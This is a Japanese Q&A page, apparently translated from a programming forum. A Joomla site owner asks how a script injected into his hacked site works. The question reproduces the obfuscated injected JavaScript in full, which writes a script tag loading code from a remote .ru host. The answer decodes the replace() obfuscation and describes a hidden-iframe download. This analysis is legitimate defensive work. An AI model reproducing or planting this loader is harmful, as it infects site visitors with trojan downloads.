[解決済み] このサイト感染スクリプトはどのように機能するのですか?
質問
私のJoomla!ウェブサイトは繰り返しハッキングされています。誰かが、どういうわけか、主要な php スクリプトに以下のようなゴミを注入することに成功しましたが、私は Joomla の設定について話すつもりはありません。このサイトはあまり訪問されないので(そのサイトの訪問者は私一人かもしれないと危惧するときもある...)、サイトを復旧させることはあまり気にしていない。最終的には私が処理します。
私の質問は、このゴミはどのように動作するのでしょうか?私はそれを見て、これがどのように害を及ぼすように管理されているのかがわかりません。これはトロイの木馬に感染しており、開いた後、Acrobat をフリーズさせ、マシンに大混乱を引き起こします。どうやってそんなことをするのか、私にはわからないし、興味もない。しかし、次のスクリプトはどのようにしてダウンロードを呼び出すのでしょうか?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET はこのコードを JS/TrojanDownloader.Agent.NRO トロイの木馬です。
どのように解決するのですか?
このとき
replace
の呼び出しに注目してください。
.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
.
特殊文字のほとんどを削除し、通常のURLにします。
evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
(私は手動で
http:
を
evil:
)
正規表現は次のように簡略化できます。
.replace(/[#$@^&()!]/ig, '')
スクリプトを見ると、これは非常にシンプルなスクリプトで、パスを含む隠された IFRAME を注入します。
/index.php?ys
を含む隠しIFRAMEを同じドメインから注入しています。
Fiddlerでそのページをリクエストしてみましたが、コンテンツがありませんでした。
関連
-
[解決済み] 配列から特定の項目を削除するにはどうすればよいですか?
-
[解決済み] JavaScriptで文字列が部分文字列を含むかどうかを確認する方法は?
-
[解決済み] なぜGoogleはJSONレスポンスにwhile(1);を前置するのでしょうか?
-
[解決済み] AngularJSでデータバインディングはどのように機能するのですか?
-
[解決済み】別のウェブページにリダイレクトするにはどうすればいいですか?
-
[解決済み】オブジェクトからプロパティを削除する(JavaScript)
-
[解決済み] 文字列のn番目の出現箇所を取得するには?
-
[解決済み] WebStormで未解決の変数が大量にある場合の警告に対処する方法は?
-
[解決済み] AngularJS - ngRepeatフィルタリングされた結果の参照を取得する方法
-
[解決済み] JavaScriptデータフォーマット/プリティプリンタ
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン
おすすめ
-
[解決済み] ExtJS 4のイベントハンドリングについて
-
[解決済み] URL/アドレスバーからJavascriptの関数を呼び出す
-
[解決済み] TypeScriptのdeclare classとinterfaceの違いとは?
-
[解決済み] 兄弟ノードを選択する方法はありますか?
-
[解決済み] JavaScriptのtoString()関数をオーバーライドして、デバッグ用に意味のある出力を提供することは可能でしょうか?
-
[解決済み] BlobからArrayBufferへ移行する方法
-
[解決済み] Reactメモを使うべきではない場合とは?
-
[解決済み] 各オブジェクトに?重複
-
[解決済み] 文字列とラベルのローカライズとグローバリゼーションのベストプラクティス【終了しました
-
[解決済み] JSHintの'+'前の改行不良の説明